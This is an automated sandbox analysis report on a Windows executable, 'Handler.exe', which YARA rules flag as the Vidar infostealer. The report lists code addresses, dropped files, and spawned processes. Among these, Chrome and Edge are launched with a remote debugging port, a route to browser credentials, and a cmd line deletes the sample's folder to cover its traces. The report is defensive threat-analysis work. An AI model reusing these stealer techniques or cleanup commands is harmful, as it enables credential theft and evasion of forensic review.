Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041E0E1	1_2_0041E0E1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00432081	1_2_00432081
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F0B1	1_2_0042F0B1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00419161	1_2_00419161
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F171	1_2_0042F171
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041A111	1_2_0041A111
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041B111	1_2_0041B111
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00431111	1_2_00431111
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004241C1	1_2_004241C1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004301D1	1_2_004301D1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041E1F1	1_2_0041E1F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00421191	1_2_00421191
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041A1B1	1_2_0041A1B1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041A251	1_2_0041A251
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430261	1_2_00430261
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00419201	1_2_00419201
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F211	1_2_0042F211
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00424281	1_2_00424281
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041B2A1	1_2_0041B2A1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041E2B1	1_2_0041E2B1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00424341	1_2_00424341
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F301	1_2_0042F301
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00419331	1_2_00419331
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004043E1	1_2_004043E1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004243E1	1_2_004243E1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004303F1	1_2_004303F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F3F1	1_2_0042F3F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00431381	1_2_00431381
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041A441	1_2_0041A441
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00432411	1_2_00432411
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004194F1	1_2_004194F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F491	1_2_0042F491
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00431501	1_2_00431501
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041B521	1_2_0041B521
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F521	1_2_0042F521
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430531	1_2_00430531
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F5C1	1_2_0042F5C1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004305D1	1_2_004305D1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041B5F1	1_2_0041B5F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004195B1	1_2_004195B1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00403641	1_2_00403641
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041A631	1_2_0041A631
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00431631	1_2_00431631
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004206D1	1_2_004206D1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004186F1	1_2_004186F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042E681	1_2_0042E681
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041A741	1_2_0041A741
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042E741	1_2_0042E741
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00423771	1_2_00423771
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042E7F1	1_2_0042E7F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004207B1	1_2_004207B1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F7B1	1_2_0042F7B1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F851	1_2_0042F851
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00419861	1_2_00419861
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00418811	1_2_00418811
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041A811	1_2_0041A811
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00403811	1_2_00403811
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430831	1_2_00430831
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00423831	1_2_00423831
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004188E1	1_2_004188E1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004238F1	1_2_004238F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F8F1	1_2_0042F8F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042E891	1_2_0042E891
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004208A1	1_2_004208A1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041B8B1	1_2_0041B8B1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00420941	1_2_00420941
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042E951	1_2_0042E951
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041A901	1_2_0041A901
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00403901	1_2_00403901
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004199F1	1_2_004199F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004239F1	1_2_004239F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F981	1_2_0042F981
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041AA01	1_2_0041AA01
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430A11	1_2_00430A11
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00423AC1	1_2_00423AC1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041AAD1	1_2_0041AAD1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00419A81	1_2_00419A81
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00420AA1	1_2_00420AA1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00403AB1	1_2_00403AB1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041AB71	1_2_0041AB71
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430B31	1_2_00430B31
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00403BC1	1_2_00403BC1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00423B91	1_2_00423B91
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041BBA1	1_2_0041BBA1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042DC41	1_2_0042DC41
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00418C71	1_2_00418C71
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00419C01	1_2_00419C01
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430C01	1_2_00430C01
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042ECC1	1_2_0042ECC1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430CD1	1_2_00430CD1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00423CE1	1_2_00423CE1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041BCB1	1_2_0041BCB1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042FCB1	1_2_0042FCB1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041BD71	1_2_0041BD71
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042DD01	1_2_0042DD01
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00419D11	1_2_00419D11
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042FDD1	1_2_0042FDD1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042DDE1	1_2_0042DDE1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00423DF1	1_2_00423DF1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041AD91	1_2_0041AD91
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430E21	1_2_00430E21
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041AE31	1_2_0041AE31
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00418EF1	1_2_00418EF1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00420E91	1_2_00420E91
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00436EA2	1_2_00436EA2
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042FEA1	1_2_0042FEA1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00419EB1	1_2_00419EB1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041AF61	1_2_0041AF61
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430F61	1_2_00430F61
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00420F61	1_2_00420F61
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00419F71	1_2_00419F71
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00423F01	1_2_00423F01
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042DF31	1_2_0042DF31
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430FF1	1_2_00430FF1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042DFF1	1_2_0042DFF1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042EFA1	1_2_0042EFA1

Source: C:\Users\user\Desktop\Handler.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6332 -s 912

Source: Handler.exe

Static PE information: invalid certificate

Source: CrypterTest1[1].exe.1.dr	Static PE information: Number of sections : 11 > 10
Source: 5fctr1d2dt.exe.1.dr	Static PE information: Number of sections : 11 > 10

Source: Handler.exe, 00000000.00000002.2205838364.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Handler.exe
Source: Handler.exe, 00000001.00000002.2627835905.0000000001144000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs Handler.exe

Source: Handler.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 1.2.Handler.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 22.0.5fctr1d2dt.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: C:\ProgramData\5fctr1d2dt.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers

Source: Handler.exe

Static PE information: Section: .idata ZLIB complexity 1.000327778259362

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@75/223@37/24

Source: C:\Users\user\Desktop\Handler.exe

Code function: 1_2_004201FF CreateToolhelp32Snapshot,Process32First,

1_2_004201FF

Source: C:\Users\user\Desktop\Handler.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\QT38Q3A0.htm

Jump to behavior

Source: C:\Users\user\Desktop\Handler.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6332
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1776:120:WilError_03

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\ac0ccf91-cd96-4bc2-9f96-72e5b4895811

Jump to behavior

Source: Handler.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\ProgramData\5fctr1d2dt.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ProgramData\5fctr1d2dt.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: Handler.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\Handler.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Handler.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 5fctr1d2dt.exe, 00000016.00000000.2590238671.00000000008FF000.00000008.00000001.01000000.00000015.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: 5fctr1d2dt.exe, 00000016.00000000.2590238671.00000000008FF000.00000008.00000001.01000000.00000015.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: 5fctr1d2dt.exe, 00000016.00000000.2590238671.00000000008FF000.00000008.00000001.01000000.00000015.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: 5fctr1d2dt.exe, 00000016.00000000.2590238671.00000000008FF000.00000008.00000001.01000000.00000015.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

Source: Handler.exe	Virustotal: Detection: 50%
Source: Handler.exe	ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\Handler.exe

File read: C:\Users\user\Desktop\Handler.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Handler.exe "C:\Users\user\Desktop\Handler.exe"
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Users\user\Desktop\Handler.exe "C:\Users\user\Desktop\Handler.exe"
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6332 -s 912
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2420 --field-trial-handle=2296,i,16265888405740233953,487256461960710161,262144 /prefetch:8
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2840 --field-trial-handle=2512,i,6456862543723051925,6952056240322509196,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2036,i,7088041380943478253,12822702137205898198,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6636 --field-trial-handle=2036,i,7088041380943478253,12822702137205898198,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6692 --field-trial-handle=2036,i,7088041380943478253,12822702137205898198,262144 /prefetch:8
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\ProgramData\5fctr1d2dt.exe "C:\ProgramData\5fctr1d2dt.exe"
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\tjw47" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6788 --field-trial-handle=2036,i,7088041380943478253,12822702137205898198,262144 /prefetch:8
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Users\user\Desktop\Handler.exe "C:\Users\user\Desktop\Handler.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\ProgramData\5fctr1d2dt.exe "C:\ProgramData\5fctr1d2dt.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\tjw47" & exit	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2420 --field-trial-handle=2296,i,16265888405740233953,487256461960710161,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2840 --field-trial-handle=2512,i,6456862543723051925,6952056240322509196,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2036,i,7088041380943478253,12822702137205898198,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6636 --field-trial-handle=2036,i,7088041380943478253,12822702137205898198,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6692 --field-trial-handle=2036,i,7088041380943478253,12822702137205898198,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\tjw47" & exit
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6788 --field-trial-handle=2036,i,7088041380943478253,12822702137205898198,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Users\user\Desktop\Handler.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: wininet.dll	Jump to behavior
